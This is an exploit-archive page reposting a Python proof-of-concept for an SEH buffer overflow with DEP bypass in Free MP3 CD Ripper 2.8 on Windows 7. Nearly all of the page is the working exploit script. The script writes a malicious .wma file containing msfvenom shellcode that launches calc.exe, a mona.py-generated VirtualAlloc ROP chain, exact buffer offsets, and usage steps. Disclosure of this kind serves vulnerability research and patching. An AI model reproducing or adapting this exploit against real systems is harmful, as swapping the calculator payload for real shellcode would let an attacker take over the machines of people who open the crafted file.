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Free MP3 CD Ripper 2.8 .wma Buffer Overflow

🗓️ 09 Oct 2018 00:00:00Reported by Matteo MalvicaType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 39 Views

Free MP3 CD Ripper 2.8 .wma Buffer Overflow exploit for Windows 7 64bi

Code
`# Exploit Title: Free MP3 CD Ripper 2.8 - '.wma' Buffer Overflow (SEH) (DEP Bypass)  
# Date: 2018-10-08  
# Exploit Author: Matteo Malvica  
# Vendor: Cleanersoft Software  
# Software Link: http://www.commentcamarche.net/download/telecharger-34082200-free-mp3-cd-ripper  
# Tested Version: 2.8  
# Tested on OS: Windows 7 - 64bit  
# Modified SEH Exploit https://www.exploit-db.com/exploits/45412/  
# CVE : N/A  
#  
# Steps:  
# 0. Turn DEP on and reboot   
# I Run the python script, it will create a new file with the name "exploit.wma".   
# II Start the program and click on "Convert".   
# III Load the file "exploit.wma"  
# IV A shiny calculator will pop-up on your desktop  
  
#!/usr/bin/python   
import struct  
  
# msfvenom -p windows/exec CMD=calc.exe -b '\x00\x0a\x0d\x2f' -f python  
shellcode = ""  
shellcode += "\xdb\xde\xd9\x74\x24\xf4\x58\x2b\xc9\xb1\x31\xba\xef"  
shellcode += "\xc3\xbd\x59\x83\xc0\x04\x31\x50\x14\x03\x50\xfb\x21"  
shellcode += "\x48\xa5\xeb\x24\xb3\x56\xeb\x48\x3d\xb3\xda\x48\x59"  
shellcode += "\xb7\x4c\x79\x29\x95\x60\xf2\x7f\x0e\xf3\x76\xa8\x21"  
shellcode += "\xb4\x3d\x8e\x0c\x45\x6d\xf2\x0f\xc5\x6c\x27\xf0\xf4"  
shellcode += "\xbe\x3a\xf1\x31\xa2\xb7\xa3\xea\xa8\x6a\x54\x9f\xe5"  
shellcode += "\xb6\xdf\xd3\xe8\xbe\x3c\xa3\x0b\xee\x92\xb8\x55\x30"  
shellcode += "\x14\x6d\xee\x79\x0e\x72\xcb\x30\xa5\x40\xa7\xc2\x6f"  
shellcode += "\x99\x48\x68\x4e\x16\xbb\x70\x96\x90\x24\x07\xee\xe3"  
shellcode += "\xd9\x10\x35\x9e\x05\x94\xae\x38\xcd\x0e\x0b\xb9\x02"  
shellcode += "\xc8\xd8\xb5\xef\x9e\x87\xd9\xee\x73\xbc\xe5\x7b\x72"  
shellcode += "\x13\x6c\x3f\x51\xb7\x35\x9b\xf8\xee\x93\x4a\x04\xf0"  
shellcode += "\x7c\x32\xa0\x7a\x90\x27\xd9\x20\xfe\xb6\x6f\x5f\x4c"  
shellcode += "\xb8\x6f\x60\xe0\xd1\x5e\xeb\x6f\xa5\x5e\x3e\xd4\x59"  
shellcode += "\x15\x63\x7c\xf2\xf0\xf1\x3d\x9f\x02\x2c\x01\xa6\x80"  
shellcode += "\xc5\xf9\x5d\x98\xaf\xfc\x1a\x1e\x43\x8c\x33\xcb\x63"  
shellcode += "\x23\x33\xde\x07\xa2\xa7\x82\xe9\x41\x40\x20\xf6"  
  
def create_rop_chain():  
# rop chain generated with mona.py - www.corelan.be  
rop_gadgets = [  
0x00487219, # POP EDX # RETN [fcrip.exe]   
0x004e9208, # ptr to &VirtualAlloc() [IAT fcrip.exe]  
0x10007089, # MOV EAX,DWORD PTR DS:[EDX] # RETN [libFLAC.dll]   
0x0040508e, # XCHG EAX,ESI # RETN [fcrip.exe]   
0x004d9e5c, # POP EBP # RETN [fcrip.exe]   
0x1000c5ce, # & push esp # ret [libFLAC.dll]  
0x00445aff, # POP EBX # RETN [fcrip.exe]   
0x00000001, # 0x00000001-> ebx  
0x00494012, # POP EDX # RETN [fcrip.exe]   
0x00001000, # 0x00001000-> edx  
0x004c2d76, # POP ECX # RETN [fcrip.exe]   
0x00000040, # 0x00000040-> ecx  
0x00409aa4, # POP EDI # RETN [fcrip.exe]   
0x00412557, # RETN (ROP NOP) [fcrip.exe]  
0x639d1575, # POP EAX # RETN [vorbis.dll]   
0x90909090, # nop  
0x00493619, # PUSHAD # RETN [fcrip.exe]   
]  
return ''.join(struct.pack('<I', _) for _ in rop_gadgets)  
  
rop_chain = create_rop_chain()  
nop_block = '\x90' * 8  
total_buffer = 4444  
offset = "A" * 3804  
SEH = struct.pack('<L',0x639d2ad8) # 0x639d2ad8 # ADD ESP,45C # XOR EAX,EAX # POP EBX # POP ESI # POP EDI # POP EBP # RETN ** [vorbis.dll] **  
padding = "B" * (total_buffer - len(SEH) - len(offset))  
  
payload = offset + nop_block + rop_chain + nop_block * 2 + shellcode + "\xCC" * 4 + SEH + padding  
  
try:  
f=open("exploit.wma","w")  
print "[+] Creating %s bytes of tiramisA1 payload..." %len(payload)  
f.write(payload)  
f.close()  
print "[+] High carb exploit created!"  
except:  
print "Dessert cannot be created"  
  
  
`

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09 Oct 2018 00:00Current
0.9Low risk
Vulners AI Score0.9
39